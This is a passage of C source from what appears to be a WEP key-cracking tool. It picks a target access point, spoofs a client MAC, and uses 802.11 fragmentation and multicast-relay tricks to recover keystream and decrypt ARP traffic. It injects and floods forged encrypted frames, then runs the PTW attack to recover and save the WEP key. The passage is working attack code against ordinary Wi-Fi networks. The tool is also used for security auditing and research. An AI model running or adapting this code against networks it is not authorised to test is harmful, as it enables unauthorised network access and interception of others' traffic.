1152                 }
1153 #endif
1154         }
1155
1156 #if 0
1157         printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
1158                 type, stype, mac2str(wh->i_addr2), len);
1159 #endif
1160 }
1161
1162 void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
1163         unsigned char* body;
1164         int bodylen;
1165         unsigned char clear[36];
1166         unsigned char* ptr;
1167         struct arphdr* h;
1168         int i;
1169
1170         body = (unsigned char*) wh+sizeof(*wh);
1171         ptr = clear;
1172
1173         // calculate clear-text
1174         memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
1175         ptr += sizeof(arp_clear) -1;
1176
1177         h = (struct arphdr*)ptr;
1178         h->ar_hrd = htons(ARPHRD_ETHER);
1179         h->ar_pro = htons(ETHERTYPE_IP);
1180         h->ar_hln = 6;
1181         h->ar_pln = 4;
1182         h->ar_op = htons(ARPOP_REQUEST);
1183         ptr += sizeof(*h);
1184
1185         memcpy(ptr, wh->i_addr3, 6);
1186
1187         bodylen = rd - sizeof(*wh) - 4 - 4;
1188         decryptstate.clen = bodylen;
1189         decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
1190         if (!decryptstate.cipher) {
1191                 perror("malloc()");
1192                 exit(1);
1193         }
1194         decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
1195         if (!decryptstate.prgainfo.prga) {
1196                 perror("malloc()");
1197                 exit(1);
1198         }
1199
1200
1201         memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
1202         memcpy(decryptstate.prgainfo.iv, body, 3);
1203
1204         memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
1205         for(i = 0; i < (8+8+6); i++) {
1206                 decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
1207                                                 clear[i];
1208         }
1209
1210         decryptstate.prgainfo.len = i;
1211         time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
1212 }
1213
1214 void log_wep(struct ieee80211_frame* wh, int len) {
1215         int rd;
1216         struct pcap_pkthdr pkh;
1217         struct timeval tv;
1218         unsigned char *body = (unsigned char*) (wh+1);
1219
1220         memset(&pkh, 0, sizeof(pkh));
1221         pkh.caplen = pkh.len = len;
1222         if (gettimeofday(&tv, NULL) == -1)
1223                 err(1, "gettimeofday()");
1224         pkh.ts = tv;
1225         if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
1226                 err(1, "write()");
1227
1228         rd = write(weplog.fd, wh, len);
1229
1230         if (rd == -1) {
1231                 perror("write()");
1232                 exit(1);
1233         }
1234         if (rd != len) {
1235                 time_print("short write %d out of %d\n", rd, len);
1236                 exit(1);
1237         }
1238
1239 #if 0
1240         if (fsync(weplog.fd) == -1) {
1241                 perror("fsync()");
1242                 exit(1);
1243         }
1244 #endif
1245
1246         memcpy(weplog.iv, body, 3);
1247         weplog.packets++;
1248 }
1249
1250 void try_dictionary(struct ieee80211_frame* wh, int len) {
1251         unsigned char *body;
1252         char path[52];
1253         char paths[3][3];
1254         int i;
1255         int fd, rd;
1256         unsigned char packet[4096];
1257         int dlen;
1258         struct ether_header* eh;
1259         uLong crc;
1260         unsigned long *pcrc;
1261         unsigned char* dmac, *smac;
1262
1263         assert (len < sizeof(packet) + sizeof(*eh));
1264
1265         body = (unsigned char*) wh + sizeof(*wh);
1266
1267         for (i = 0; i < 3; i++)
1268                 snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
1269
1270         sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
1271
1272         fd = open(path, O_RDONLY);
1273         if (fd == -1)
1274                 return;
1275
1276         rd = read(fd, &packet[6], sizeof(packet)-6);
1277         if (rd == -1) {
1278                 perror("read()");
1279                 exit(1);
1280         }
1281         close(fd);
1282
1283
1284         dlen = len - sizeof(*wh) - 4;
1285         if (dlen > rd) {
1286                 printf("\n");
1287                 time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
1288                 dlen);
1289                 return;
1290         }
1291
1292         body += 4;
1293         for (i = 0; i < dlen; i++)
1294                 packet[6+i] ^= body[i];
1295
1296         dlen -= 4;
1297         crc = crc32(0L, Z_NULL, 0);
1298         crc = crc32(crc, &packet[6], dlen);
1299         pcrc = (unsigned long*) (&packet[6+dlen]);
1300
1301         if (*pcrc != crc) {
1302                 printf("\n");
1303                 time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
1304                            path, *pcrc, crc);
1305                 return;
1306         }
1307
1308         // fill ethernet header
1309         eh = (struct ether_header*) packet;
1310         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1311                 smac = wh->i_addr3;
1312         else
1313                 smac = wh->i_addr2;
1314
1315         if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
1316                 dmac = wh->i_addr3;
1317         else
1318                 dmac = wh->i_addr1;
1319
1320         memcpy(eh->ether_dhost, dmac, 6);
1321         memcpy(eh->ether_shost, smac, 6);
1322         // ether type should be there from llc
1323
1324         dlen -= 8; // llc
1325         dlen += sizeof(*eh);
1326
1327 #if 0
1328         printf("\n");
1329         time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
1330         hexdump(packet, dlen);
1331 #endif
1332
1333         rd = write(tapfd, packet, dlen);
1334         if (rd == -1) {
1335                 perror("write()");
1336                 exit(1);
1337         }
1338         if (rd != dlen) {
1339                 printf("Wrote %d / %d\n", rd, dlen);
1340                 exit(1);
1341         }
1342 }
1343
1344 int is_arp(struct ieee80211_frame *wh, int len)
1345 {
1346         int arpsize = 8 + sizeof(struct arphdr) + 10*2;
1347
1348         if (len == arpsize || len == 54)
1349                 return 1;
1350
1351         return 0;
1352 }
1353
1354 void *get_sa(struct ieee80211_frame *wh)
1355 {
1356         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1357                 return wh->i_addr3;
1358         else
1359                 return wh->i_addr2;
1360 }
1361
1362 void *get_da(struct ieee80211_frame *wh)
1363 {
1364         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1365                 return wh->i_addr1;
1366         else
1367                 return wh->i_addr3;
1368 }
1369
1370 int known_clear(void *clear, struct ieee80211_frame *wh, int len)
1371 {
1372         unsigned char *ptr = clear;
1373
1374         /* IP */
1375         if (!is_arp(wh, len)) {
1376                 unsigned short iplen = htons(len - 8);
1377
1378 //                printf("Assuming IP %d\n", len);
1379
1380                 len = sizeof(S_LLC_SNAP_IP) - 1;
1381                 memcpy(ptr, S_LLC_SNAP_IP, len);
1382                 ptr += len;
1383 #if 1
1384                 len = 2;
1385                 memcpy(ptr, "\x45\x00", len);
1386                 ptr += len;
1387
1388                 memcpy(ptr, &iplen, len);
1389                 ptr += len;
1390 #endif
1391                 len = ptr - ((unsigned char*)clear);
1392                 return len;
1393         }
1394 //        printf("Assuming ARP %d\n", len);
1395
1396         /* arp */
1397         len = sizeof(S_LLC_SNAP_ARP) - 1;
1398         memcpy(ptr, S_LLC_SNAP_ARP, len);
1399         ptr += len;
1400
1401         /* arp hdr */
1402         len = 6;
1403         memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
1404         ptr += len;
1405
1406         /* type of arp */
1407         len = 2;
1408         if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
1409                 memcpy(ptr, "\x00\x01", len);
1410         else
1411                 memcpy(ptr, "\x00\x02", len);
1412         ptr += len;
1413
1414         /* src mac */
1415         len = 6;
1416         memcpy(ptr, get_sa(wh), len);
1417         ptr += len;
1418
1419         len = ptr - ((unsigned char*)clear);
1420         return len;
1421 }
1422
1423 void add_keystream(struct ieee80211_frame* wh, int rd)
1424 {
1425         unsigned char clear[1024];
1426         int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
1427         int clearsize;
1428         unsigned char *body = (unsigned char*) (wh+1);
1429         int i;
1430
1431         clearsize = known_clear(clear, wh, dlen);
1432         if (clearsize < 16)
1433                 return;
1434
1435         for (i = 0; i < 16; i++)
1436                 clear[i] ^= body[4+i];
1437
1438         PTW_addsession(ptw, body, clear);
1439 }
1440
1441 void got_wep(struct ieee80211_frame* wh, int rd) {
1442         int bodylen;
1443         int dlen;
1444         unsigned char clear[1024];
1445         int clearsize;
1446         unsigned char *body;
1447
1448         bodylen = rd - sizeof(struct ieee80211_frame);
1449
1450         dlen = bodylen - 4 - 4;
1451         body = (unsigned char*) wh + sizeof(*wh);
1452
1453
1454         // log it if its stuff not from us...
1455         if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
1456              ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1457                 memcmp(wh->i_addr2, mymac, 6) != 0) ) {
1458
1459                 if (body[3] != 0) {
1460                         time_print("Key index=%x!!\n", body[3]);
1461                         exit(1);
1462                 }
1463                 log_wep(wh, rd);
1464                 add_keystream(wh, rd);
1465
1466                 // try to decrypt too
1467                 try_dictionary(wh, rd);
1468         }
1469
1470         // look for arp-request packets... so we can decrypt em
1471         if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1472             (memcmp(wh->i_addr3, mymac, 6) != 0) &&
1473             (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1474              (dlen == 36 || dlen == PADDED_ARPLEN) &&
1475             !decryptstate.cipher &&
1476             !netip) {
1477                 decrypt_arpreq(wh, rd);
1478         }
1479
1480         // we have prga... check if its our stuff being relayed...
1481         if (prgainfo.len != 0) {
1482                 // looks like it...
1483                 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1484                     (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1485                     (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1486                     dlen == fragstate.len) {
1487
1488 //                      printf("I fink AP relayed it...\n");
1489                         set_prga(body, &body[4], fragstate.data, dlen);
1490                         free(fragstate.data);
1491                         fragstate.data = NULL;
1492                         fragstate.waiting_relay = 0;
1493                 }
1494
1495                 // see if we get the multicast stuff of when decrypting
1496                 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1497                     (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1498                     (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
1499                     dlen == 36) {
1500
1501                         unsigned char pr = wh->i_addr1[5];
1502
1503                         printf("\n");
1504                         time_print("Got clear-text byte: %d\n",
1505                         decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
1506
1507                         decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
1508                         decryptstate.prgainfo.len++;
1509                         decryptstate.fragstate.waiting_relay = 1;
1510
1511                         // ok we got the ip...
1512                         if (decryptstate.prgainfo.len == 26+1) {
1513                                 unsigned char ip[4];
1514                                 int i;
1515                                 struct in_addr *in = (struct in_addr*) ip;
1516                                 unsigned char *ptr;
1517
1518                                 for (i = 0; i < 4; i++)
1519                                         ip[i] = decryptstate.cipher[8+8+6+i] ^
1520                                                 decryptstate.prgainfo.prga[8+8+6+i];
1521
1522                                 assert(!netip);
1523                                 netip = (unsigned char*) malloc(16);
1524                                 if(!netip) {
1525                                         perror("malloc()");
1526                                         exit(1);
1527                                 }
1528
1529                                 memset(netip, 0, 16);
1530                                 strcpy(netip, inet_ntoa(*in));
1531
1532                                 time_print("Got IP=(%s)\n", netip);
1533                                 strcpy(myip, netip);
1534
1535                                 ptr = strchr(myip, '.');
1536                                 assert(ptr);
1537                                 ptr = strchr(ptr+1, '.');
1538                                 assert(ptr);
1539                                 ptr = strchr(ptr+1, '.');
1540                                 assert(ptr);
1541                                 strcpy(ptr+1,"123");
1542
1543                                 time_print("My IP=(%s)\n", myip);
1544
1545
1546                                 free(decryptstate.prgainfo.prga);
1547                                 free(decryptstate.cipher);
1548                                 memset(&decryptstate, 0, sizeof(decryptstate));
1549                         }
1550                 }
1551                 return;
1552         }
1553
1554         clearsize = known_clear(clear, wh, dlen);
1555         time_print("Datalen %d Known clear %d\n", dlen, clearsize);
1556
1557         set_prga(body, &body[4], clear, clearsize);
1558 }
1559
1560 void stuff_for_net(struct ieee80211_frame* wh, int rd) {
1561         int type,stype;
1562
1563         type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1564         stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1565
1566         if (type == IEEE80211_FC0_TYPE_DATA &&
1567             stype == IEEE80211_FC0_SUBTYPE_DATA) {
1568                 int dlen = rd - sizeof(struct ieee80211_frame);
1569
1570                 if (state == SPOOF_MAC) {
1571                         unsigned char mac[6];
1572                         if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
1573                                 memcpy(mac, wh->i_addr3, 6);
1574                         } else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
1575                                 memcpy(mac, wh->i_addr1, 6);
1576                         } else assert(0);
1577
1578                         if (mac[0] == 0xff || mac[0] == 0x1)
1579                                 return;
1580
1581                         memcpy(mymac, mac, 6);
1582                         time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
1583                         state = FOUND_VICTIM;
1584                         return;
1585                 }
1586
1587                 // wep data!
1588                 if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) {
1589                         got_wep(wh, rd);
1590                 }
1591         }
1592 }
1593
1594 void anal(unsigned char* buf, int rd, int tx) { // yze
1595         struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
1596         int type,stype;
1597         static int lastseq = -1;
1598         int seq;
1599         unsigned short *seqptr;
1600         int for_us = 0;
1601
1602         if (rd < 1) {
1603                 time_print("rd=%d\n", rd);
1604                 exit(1);
1605         }
1606
1607         type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1608         stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1609
1610         // sort out acks
1611         if (state >= FOUND_VICTIM) {
1612                 // stuff for us
1613                 if (memcmp(wh->i_addr1, mymac, 6) == 0) {
1614                         for_us = 1;
1615                         if (type != IEEE80211_FC0_TYPE_CTL)
1616                                 send_ack(tx);
1617                 }
1618         }
1619
1620         // XXX i know it aint great...
1621         seqptr = (unsigned short*)  wh->i_seq;
1622         seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1623         if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
1624             type != IEEE80211_FC0_TYPE_CTL) {
1625 //              printf("Ignoring dup packet... seq=%d\n", seq);
1626                 return;
1627         }
1628         lastseq = seq;
1629
1630         // management frame
1631         if (type == IEEE80211_FC0_TYPE_MGT) {
1632                 if(state == FIND_VICTIM) {
1633                         if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
1634                             stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1635
1636                                 if (get_victim_ssid(wh, rd)) {
1637                                         return;
1638                                 }
1639                         }
1640
1641                 }
1642         }
1643
1644         if (state >= FOUND_VICTIM) {
1645                 // stuff for us
1646                 if (for_us) {
1647                         stuff_for_us(wh, rd);
1648                 }
1649
1650                 // stuff in network [even for us]
1651                 if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1652                           (memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||
1653
1654                           ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1655                           (memcmp(victim.bss, wh->i_addr2, 6) == 0))
1656                            ) {
1657                         stuff_for_net(wh, rd);
1658                 }
1659         }
1660 }
1661
1662 void do_arp(unsigned char* buf, unsigned short op,
1663             unsigned char* m1, unsigned char* i1,
1664             unsigned char* m2, unsigned char* i2) {
1665
1666         struct in_addr sip;
1667         struct in_addr dip;
1668         struct arphdr* h;
1669         unsigned char* data;
1670
1671         inet_aton(i1, &sip);
1672         inet_aton(i2, &dip);
1673         h = (struct arphdr*) buf;
1674
1675         memset(h, 0, sizeof(*h));
1676
1677         h->ar_hrd = htons(ARPHRD_ETHER);
1678         h->ar_pro = htons(ETHERTYPE_IP);
1679         h->ar_hln = 6;
1680         h->ar_pln = 4;
1681         h->ar_op = htons(op);
1682
1683         data = (unsigned char*) h + sizeof(*h);
1684
1685         memcpy(data, m1, 6);
1686         data += 6;
1687         memcpy(data, &sip, 4);
1688         data += 4;
1689
1690         memcpy(data, m2, 6);
1691         data += 6;
1692         memcpy(data, &dip, 4);
1693         data += 4;
1694 }
1695
1696 void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
1697         unsigned char buf[4096];
1698         struct ieee80211_frame* wh;
1699         unsigned char* body;
1700         int fragsize;
1701         uLong crc;
1702         unsigned long *pcrc;
1703         int i;
1704         unsigned short* seq;
1705         unsigned short sn, fn;
1706
1707         wh = (struct ieee80211_frame*) buf;
1708         memcpy(wh, &fs->wh, sizeof(*wh));
1709
1710         body = (unsigned char*) wh + sizeof(*wh);
1711         memcpy(body, &pi->iv, 3);
1712         body += 3;
1713         *body++ = 0; // key index
1714
1715         fragsize = fs->data + fs->len - fs->ptr;
1716
1717         assert(fragsize > 0);
1718
1719         if ( (fragsize + 4) > pi->len) {
1720                 fragsize = pi->len  - 4;
1721                 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
1722         }
1723         // last fragment
1724         else {
1725                 wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
1726         }
1727
1728         memcpy(body, fs->ptr, fragsize);
1729
1730         crc = crc32(0L, Z_NULL, 0);
1731         crc = crc32(crc, body, fragsize);
1732         pcrc = (unsigned long*) (body+fragsize);
1733         *pcrc = crc;
1734
1735         for (i = 0; i < (fragsize + 4); i++)
1736                 body[i] ^= pi->prga[i];
1737
1738         seq = (unsigned short*) &wh->i_seq;
1739         sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1740         fn = *seq & IEEE80211_SEQ_FRAG_MASK;
1741 //      printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
1742
1743         send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
1744
1745         seq = (unsigned short*) &fs->wh.i_seq;
1746         *seq = fnseq(++fn, sn);
1747         fs->ptr += fragsize;
1748
1749         if (fs->ptr - fs->data == fs->len) {
1750 //              printf("Finished sending frags...\n");
1751                 fs->waiting_relay = 1;
1752         }
1753 }
1754
1755 void prepare_fragstate(struct frag_state* fs, int pad) {
1756         fs->waiting_relay = 0;
1757         fs->len = 8 + 8 + 20 + pad;
1758         fs->data = (unsigned char*) malloc(fs->len);
1759
1760         if(!fs->data) {
1761                 perror("malloc()");
1762                 exit(1);
1763         }
1764
1765         fs->ptr = fs->data;
1766
1767         do_llc(fs->data, ETHERTYPE_ARP);
1768         do_arp(&fs->data[8], ARPOP_REQUEST,
1769                mymac, myip,
1770                "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
1771
1772         memset(&fs->wh, 0, sizeof(fs->wh));
1773         fill_basic(&fs->wh);
1774
1775         memset(fs->wh.i_addr3, 0xff, 6);
1776         fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1777         fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
1778                                 IEEE80211_FC1_MORE_FRAG |
1779                                 IEEE80211_FC1_WEP;
1780
1781         memset(&fs->data[8+8+20], 0, pad);
1782 }
1783
1784 void discover_prga(int tx) {
1785
1786         // create packet...
1787         if (!fragstate.data) {
1788                 int pad = 0;
1789
1790                 if (prgainfo.len >= 20)
1791                         pad = prgainfo.len*3;
1792
1793                 prepare_fragstate(&fragstate, pad);
1794         }
1795
1796         if (!fragstate.waiting_relay) {
1797                 send_fragment(tx, &fragstate, &prgainfo);
1798                 if (fragstate.waiting_relay) {
1799                         if (gettimeofday(&fragstate.last, NULL) == -1)
1800                                 err(1, "gettimeofday()");
1801                 }
1802         }
1803 }
1804
1805 void decrypt(int tx) {
1806
1807         // gotta initiate
1808         if (!decryptstate.fragstate.data) {
1809                 prepare_fragstate(&decryptstate.fragstate, 0);
1810
1811                 memcpy(decryptstate.fragstate.wh.i_addr3,
1812                        MCAST_PREF, 5);
1813
1814                 decryptstate.fragstate.wh.i_addr3[5] =
1815                 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1816
1817                 decryptstate.prgainfo.len++;
1818         }
1819
1820         // guess diff prga byte...
1821         if (decryptstate.fragstate.waiting_relay) {
1822                 unsigned short* seq;
1823                 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
1824
1825 #if 0
1826                 if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
1827                         printf("Can't decrpyt!\n");
1828                         exit(1);
1829                 }
1830 #endif
1831                 decryptstate.fragstate.wh.i_addr3[5] =
1832                 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1833
1834                 decryptstate.fragstate.waiting_relay = 0;
1835                 decryptstate.fragstate.ptr = decryptstate.fragstate.data;
1836
1837                 seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
1838                 *seq = fnseq(0, txstate.psent);
1839         }
1840
1841         send_fragment(tx, &decryptstate.fragstate,
1842                       &decryptstate.prgainfo);
1843 }
1844
1845 void flood_inet(tx) {
1846         static int send_arp = -1;
1847         static unsigned char arp_pkt[128];
1848         static int arp_len;
1849         static unsigned char udp_pkt[128];
1850         static int udp_len;
1851         static struct timeval last_ip;
1852
1853         // need to init packets...
1854         if (send_arp == -1) {
1855                 unsigned char* body;
1856                 unsigned char* ptr;
1857                 struct ieee80211_frame* wh;
1858                 struct ip* ih;
1859                 struct udphdr* uh;
1860
1861                 memset(arp_pkt, 0, sizeof(arp_pkt));
1862                 memset(udp_pkt, 0, sizeof(udp_pkt));
1863
1864                 // construct ARP
1865                 wh = (struct ieee80211_frame*) arp_pkt;
1866                 fill_basic(wh);
1867
1868                 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1869                 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1870                 memset(wh->i_addr3, 0xff, 6);
1871
1872                 body = (unsigned char*) wh + sizeof(*wh);
1873                 ptr = body;
1874                 ptr += 4; // iv
1875
1876                 do_llc(ptr, ETHERTYPE_ARP);
1877                 ptr += 8;
1878                 do_arp(ptr, ARPOP_REQUEST, mymac, myip,
1879                        "\x00\x00\x00\x00\x00\x00", netip);
1880
1881                 wepify(body, 8+8+20);
1882                 arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1883                 assert(arp_len < sizeof(arp_pkt));
1884
1885
1886                 // construct UDP
1887                 wh = (struct ieee80211_frame*) udp_pkt;
1888                 fill_basic(wh);
1889
1890                 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1891                 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1892                 memcpy(wh->i_addr3, rtrmac, 6);
1893
1894                 body = (unsigned char*) wh + sizeof(*wh);
1895                 ptr = body;
1896                 ptr += 4; // iv
1897
1898                 do_llc(ptr, ETHERTYPE_IP);
1899                 ptr += 8;
1900
1901                 ih = (struct ip*) ptr;
1902                 ih->ip_hl = 5;
1903                 ih->ip_v = 4;
1904                 ih->ip_tos = 0;
1905                 ih->ip_len = htons(20+8+5);
1906                 ih->ip_id = htons(666);
1907                 ih->ip_off = 0;
1908                 ih->ip_ttl = 128;
1909                 ih->ip_p = IPPROTO_UDP;
1910                 ih->ip_sum = 0;
1911
1912                 inet_aton(myip, &ih->ip_src);
1913                 inet_aton(floodip, &ih->ip_dst);
1914
1915                 ih->ip_sum = in_cksum((unsigned short*)ih, 20);
1916
1917                 ptr += 20;
1918                 uh = (struct udphdr*) ptr;
1919                 uh->uh_sport = htons(floodsport);
1920                 uh->uh_dport = htons(floodport);
1921                 uh->uh_ulen = htons(8+5);
1922                 uh->uh_sum = 0;
1923
1924                 ptr += 8;
1925                 strcpy(ptr, "sorbo");
1926
1927                 uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
1928                                           &ih->ip_dst);
1929
1930                 wepify(body, 8+20+8+5);
1931                 udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
1932                 assert(udp_len < sizeof(udp_pkt));
1933
1934                 // bootstrap
1935                 send_arp = 1;
1936
1937                 memset(&last_ip, 0, sizeof(last_ip));
1938         }
1939
1940         if (send_arp == 1) {
1941                 struct timeval now;
1942                 unsigned long sec;
1943
1944                 if (gettimeofday(&now, NULL) == -1) {
1945                         perror("gettimeofday()");
1946                         exit(1);
1947                 }
1948
1949                 sec = now.tv_sec - last_ip.tv_sec;
1950
1951                 if (sec < 5)
1952                         return;
1953
1954                 send_frame(tx, arp_pkt, arp_len);
1955                 send_arp = 0;
1956         }
1957
1958         else if (send_arp == 0) {
1959                 if (gettimeofday(&last_ip, NULL) == -1) {
1960                         perror("gettimeofday()");
1961                         exit(1);
1962                 }
1963
1964                 send_frame(tx, udp_pkt, udp_len);
1965                 send_arp = 1;
1966         } else assert(0);
1967 }
1968
1969 void send_arp(int tx, unsigned short op, unsigned char* srcip,
1970               unsigned char* srcmac, unsigned char* dstip,
1971               unsigned char* dstmac) {
1972
1973         static unsigned char arp_pkt[128];
1974         unsigned char* body;
1975         unsigned char* ptr;
1976         struct ieee80211_frame* wh;
1977         int arp_len;
1978
1979         memset(arp_pkt, 0, sizeof(arp_pkt));
1980
1981         // construct ARP
1982         wh = (struct ieee80211_frame*) arp_pkt;
1983         fill_basic(wh);
1984
1985         wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1986         wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1987         memset(wh->i_addr3, 0xff, 6);
1988
1989         body = (unsigned char*) wh + sizeof(*wh);
1990         ptr = body;
1991         ptr += 4; // iv
1992
1993         do_llc(ptr, ETHERTYPE_ARP);
1994         ptr += 8;
1995         do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
1996
1997         wepify(body, 8+8+20);
1998         arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1999         assert(arp_len < sizeof(arp_pkt));
2000
2001         send_frame(tx, arp_pkt, arp_len);
2002 }
2003
2004 void can_write(int tx) {
2005         static char arp_ip[16];
2006
2007         switch (state) {
2008                 case FOUND_VICTIM:
2009                         send_auth(tx);
2010                         state = SENDING_AUTH;
2011                         break;
2012
2013                 case GOT_AUTH:
2014                         send_assoc(tx);
2015                         state = SENDING_ASSOC;
2016                         break;
2017
2018                 case GOT_ASSOC:
2019                         if (prgainfo.prga && prgainfo.len < min_prga) {
2020                                 discover_prga(tx);
2021                                 break;
2022                         }
2023
2024                         if (decryptstate.cipher) {
2025                                 decrypt(tx);
2026                                 break;
2027                         }
2028
2029                         if (!prgainfo.prga)
2030                                 break;
2031
2032                         if (taptx_len) {
2033                                 send_frame(tx, taptx, taptx_len);
2034                                 taptx_len = 0;
2035                                 break;
2036                         }
2037
2038                         // try to find rtr mac addr
2039                         if (netip && !rtrmac) {
2040                                 char* ptr;
2041
2042                                 strcpy(arp_ip, netip);
2043                                 if (!netip_arg) {
2044                                         ptr = strchr(arp_ip, '.');
2045                                         assert(ptr);
2046                                         ptr = strchr(++ptr, '.');
2047                                         assert(ptr);
2048                                         ptr = strchr(++ptr, '.');
2049                                         assert(ptr);
2050                                         strcpy(++ptr, "1");
2051                                 }
2052
2053                                 if (gettimeofday(&arpsend, NULL) == -1)
2054                                         err(1, "gettimeofday()");
2055
2056                                 time_print("Sending arp request for: %s\n", arp_ip);
2057                                 send_arp(tx, ARPOP_REQUEST, myip, mymac,
2058                                          arp_ip, "\x00\x00\x00\x00\x00\x00");
2059
2060                                 // XXX lame
2061                                 rtrmac = (unsigned char*)1;
2062                                 break;
2063                         }
2064
2065                         // need to generate traffic...
2066                         if (rtrmac > (unsigned char*)1 && netip) {
2067                                 if (floodip)
2068                                         flood_inet(tx);
2069                                 else {
2070                                         // XXX lame technique... anyway... im
2071                                         // only interested in flood_inet...
2072
2073                                         // could ping broadcast....
2074                                         send_arp(tx, ARPOP_REQUEST, myip, mymac,
2075                                                  arp_ip, "\x00\x00\x00\x00\x00\x00");
2076                                 }
2077
2078                                 break;
2079                         }
2080
2081                         break;
2082         }
2083 }
2084
2085 void save_key(unsigned char *key, int len)
2086 {
2087         char tmp[16];
2088         char k[64];
2089         int fd;
2090         int rd;
2091
2092         assert(len*3 < sizeof(k));
2093
2094         k[0] = 0;
2095         while (len--) {
2096                 sprintf(tmp, "%.2X", *key++);
2097                 strcat(k, tmp);
2098                 if (len)
2099                         strcat(k, ":");
2100         }
2101
2102         fd = open(KEY_FILE, O_WRONLY | O_CREAT | 0644);
2103         if (fd == -1)
2104                 err(1, "open()");
2105
2106         printf("\nKey: %s\n", k);
2107         rd = write(fd, k, strlen(k));
2108         if (rd == -1)
2109                 err(1, "write()");
2110         if (rd != strlen(k))
2111                 errx(1, "write %d/%d\n", rd, strlen(k));
2112         close(fd);
2113 }
2114
2115 #define KEYLIMIT (1000000)
2116 int do_crack(void)
2117 {
2118         unsigned char key[PTW_KEYHSBYTES];
2119
2120         if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
2121                 save_key(key, 13);
2122                 return 1;
2123         }
2124         if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
2125                 save_key(key, 5);
2126                 return 1;
2127         }
2128
2129         return 0;
2130 }
2131
2132 void try_crack() {
2133         if (crack_pid) {
2134                 printf("\n");
2135                 time_print("Warning... previous crack still running!\n");
2136                 kill_crack();
2137         }
2138
2139         if (weplog.fd) {
2140                 if (fsync(weplog.fd) == -1)
2141                         err(1, "fsync");
2142         }
2143
